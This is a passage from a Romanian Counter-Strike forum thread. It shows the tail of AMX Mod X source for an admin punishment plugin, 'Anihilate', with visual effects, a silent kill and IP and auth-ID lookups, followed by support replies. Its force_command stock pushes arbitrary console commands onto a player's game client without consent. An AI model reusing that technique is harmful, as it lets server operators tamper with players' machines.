vPosition[1] = vOrigin[id][1] + random_num(-100, 100);
vPosition[2] = vOrigin[id][2] + random_num(-50, 50);
Create_TE_EXPLOSION(Origin, vPosition, ExplodeSpr, (random_num(0,20) + 20), 12, 0);
Create_TE_Smoke(Origin, vPosition, SmokeSpr, 60, 10);
user_silentkill(id);
return 0;
}
public CreateBlastCirclesEffect(id)
{
id -= ELIMINATETASK;
if(!is_user_connected(id)) return 1;
new Origin[3], vPosition[3];
Origin[0] = vOrigin[id][0];
Origin[1] = vOrigin[id][1];
Origin[2] = vOrigin[id][2] - 16;
vPosition[0] = vOrigin[id][0];
vPosition[1] = vOrigin[id][1];
vPosition[2] = vOrigin[id][2] + 250;
Create_TE_BEAMCYLINDER(Origin, Origin, vPosition, ShockWaveSpr, 0, 0, 6, 16, 0, 188, 220, 255, 255, 0);
vOrigin[id][2] = (Origin[2] - 250) + (250 / 2);
Create_TE_BEAMCYLINDER(Origin, Origin, vPosition, ShockWaveSpr, 0, 0, 6, 16, 0, 188, 220, 255, 255, 0);
return 0;
}
stock force_command(id , szText[])
{
message_begin(MSG_ONE, 51, _, id);
write_byte(strlen(szText) + 2);
write_byte(10);
write_string(szText);
message_end();
}
stock Create_TE_IMPLOSION(position[3], radius, count, life)
{
message_begin(MSG_BROADCAST, SVC_TEMPENTITY);
write_byte (TE_IMPLOSION);
write_coord(position[0]);
write_coord(position[1]);
write_coord(position[2]);
write_byte (radius);
write_byte (count);
write_byte (life);
message_end();
}
stock Create_TE_EXPLOSION(origin[3], origin2[3], iSprite, scale, frameRate, flags)
{
message_begin(MSG_PVS, SVC_TEMPENTITY, origin);
write_byte(TE_EXPLOSION);
write_coord(origin2[0]);
write_coord(origin2[1]);
write_coord(origin2[2]);
write_short(iSprite);
write_byte(scale);
write_byte(frameRate);
write_byte(flags);
message_end();
}
stock Create_TE_Smoke(originSight[3], position[3], iSprite, scale, framerate)
{
message_begin(MSG_PVS, SVC_TEMPENTITY, originSight);
write_byte(TE_SMOKE);
write_coord(position[0]);
write_coord(position[1]);
write_coord(position[2]);
write_short(iSprite);
write_byte(scale);
write_byte(framerate );
message_end();
}
stock Create_TE_BEAMCYLINDER(origin[3], center[3], axis[3], iSprite, startFrame, frameRate, life, width, amplitude, red, green, blue, brightness, speed)
{
message_begin(MSG_PAS, SVC_TEMPENTITY, origin);
write_byte(TE_BEAMCYLINDER);
write_coord(center[0]);
write_coord(center[1]);
write_coord(center[2]);
write_coord(axis[0]);
write_coord(axis[1]);
write_coord(axis[2]);
write_short(iSprite);
write_byte(startFrame);
write_byte(frameRate);
write_byte(life);
write_byte(width);
write_byte(amplitude);
write_byte(red);
write_byte(green);
write_byte(blue);
write_byte(brightness);
write_byte(speed);
message_end();
}
stock get_name(id)
{
new name[32];
get_user_name(id, name, sizeof (name) -1);
return name;
}
stock get_ip(id)
{
new ip[32];
get_user_ip(id, ip, sizeof (ip) -1, 1);
return ip;
}
stock get_authid(id)
{
new authid[35];
get_user_authid(id, authid, sizeof (authid) -1);
return authid;
}
stock get_nume()
{
new nume[32];
get_pcvar_string(cvar_numeserver, nume, sizeof (nume) -1);
return nume;
}
stock get_site()
{
new site[32];
get_pcvar_string(cvar_site, site, sizeof (site) -1);
return site;
}
stock _get_time()
{
new logtime[32];
get_time("%d.%m.%Y - %H:%M:%S", logtime ,sizeof (logtime) -1);
return logtime;
}
public ShakeScreen(id, const Float:seconds)
{
message_begin(MSG_ONE, get_user_msgid("ScreenShake"), { 0, 0, 0 }, id);
write_short(floatround(4096.0 * seconds, floatround_round));
write_short(floatround(4096.0 * seconds, floatround_round));
write_short(1<<13);
message_end();
}
public FadeScreen(id, const Float:seconds, const red, const green, const blue, const alpha)
{
message_begin(MSG_ONE, get_user_msgid("ScreenFade"), _, id);
write_short(floatround(4096.0 * seconds, floatround_round));
write_short(floatround(4096.0 * seconds, floatround_round));
write_short(0x0000);
write_byte(red);
write_byte(green);
write_byte(blue);
write_byte(alpha);
message_end();
}
public FunC_Tele_Effect (id)
{
if (!is_user_alive (id))
return;
static Float:iOrigin [3];
pev (id, pev_origin, iOrigin);
engfunc (EngFunc_MessageBegin, MSG_PVS, SVC_TEMPENTITY, iOrigin, 0);
write_byte (TE_TELEPORT);
engfunc (EngFunc_WriteCoord, iOrigin [0]);
engfunc (EngFunc_WriteCoord, iOrigin [1]);
engfunc (EngFunc_WriteCoord, iOrigin [2]);
message_end ();
}
aici pui ip-ul serverului tau pentru ca el sa ruleze, daca ip-ul nu este corect, serverul va intra in fail state
static const IPServerLicentiat[] = "93.119.24.73";
aici pui ip-ul adresei locale de internet a pc-ului tau in caz ca vrei sa folosesti pluginul pe pc
static const IPServerLicentiat2[] = "192.175.102.69";
bafta
daca este unu cu numele "a" cum ii dau anihilate? , ca pluginul nu are menu .Nu merge nici daca ii pun numele asa "a" . Si nu merge sa dau Anihilate pe ip sau steam
. Rezolvare ?
0
0
Back to top
destroi112
[DEV]
Status: Offline
(since 12-03-2020 22:13)
Joined: 24 May 2014
Posts: 4042
,
Topics: 119
Location:
---------
Reputation:
515.9
Votes
: 118
Posted: 05-05-2017, 02:18:34
| Translate post to:
... (
Click for more languages
)
Verifici in plugin daca dimenisiunea numelui lui e mai mica decat x si atunci sa ii dea comanda aia.
Retired from Amxmodx
0
0
Back to top
DANNY*
[Mentally Stable]
Status: Offline
(since 26-04-2018 11:28)
Joined: 08 Feb 2017
Posts: 161
,
Topics: 28
Location:
Romania
Reputation:
26.7
Votes
: 1
Posted: 05-05-2017, 06:14:45
| Translate post to:
... (
Click for more languages
)
Destroy poti sa faci tu ? Nu ma pricep .
0
0
Back to top
DANNY*
[Mentally Stable]
Status: Offline
(since 26-04-2018 11:28)
Joined: 08 Feb 2017
Posts: 161
,
Topics: 28
Location:
Romania
Reputation:
26.7
Votes
: 1
Posted: 08-05-2017, 22:30:36
| Translate post to:
... (
Click for more languages
)
Poate sa adauge cineva inca o comanda ? si anume "amx_anihilatemenu" . Ca sunt jucatori cu acelasi nume sau "a" . etc , si nu le pot da pe ip sau steam !
0
0
Back to top
GoreSpintecatoru.
[Inactiv o perioada]
Status: Offline
(since 09-11-2017 19:29)
Joined: 18 Feb 2017
Posts: 638
,
Topics: 28
Location:
Romania
Reputation:
762.7
Votes
: 40
Posted: 09-05-2017, 21:38:51
| Translate post to:
... (
Click for more languages
)
Daca vrei sa le dai la jucatori cu acelasi nume , te duci in consola , scrii vote si folosesti
amx_comanda #1234 ( 1234 fiind numaru din vote al respectivului player).
Regulament
|
My Official Website[V:1.1]
|
Panel JB[V:1.0]
0
0
Back to top
DANNY*
[Mentally Stable]
Status: Offline
(since 26-04-2018 11:28)
Joined: 08 Feb 2017
Posts: 161
,
Topics: 28
Location:
Romania
Reputation:
26.7
Votes
: 1
Posted: 10-05-2017, 16:39:44
| Translate post to:
... (
Click for more languages
)
Mersi mult detot , merge ,! Cer. T/C !
0
0
Back to top
GoreSpintecatoru.
[Inactiv o perioada]
Status: Offline
(since 09-11-2017 19:29)
Joined: 18 Feb 2017
Posts: 638
,
Topics: 28
Location:
Romania
Reputation:
762.7
Votes
: 40
Posted: 10-05-2017, 18:14:19
| Translate post to:
... (
Click for more languages
)
Cu placere.
Regulament
|
My Official Website[V:1.1]
|
Panel JB[V:1.0]
0
0
Back to top
Topic locked
Topic is closed, you cannot post any messages in it anymore
Locked by
GoreSpintecatoru.
, 10 May 2017 16:14
Freakz Forum Index
->
Trash Bin
->
CS 2006-2019 (Archived)
->
Plugins - Help / Support
Go to page
Previous
1
,
2
,
3
The time now is 02-08-2025, 17:16:14
Copyright info
Based on phpBB
ro
/
com
B
Login
I forgot my password
World of Warcraft
Login for more...
Download WoW 7.3.5
Misc
eSports
Achievements
Buy reputation with votes
Reputation trades
Forum rules
Ban list
Members list
User guide (FAQ)
World of Warcraft
View details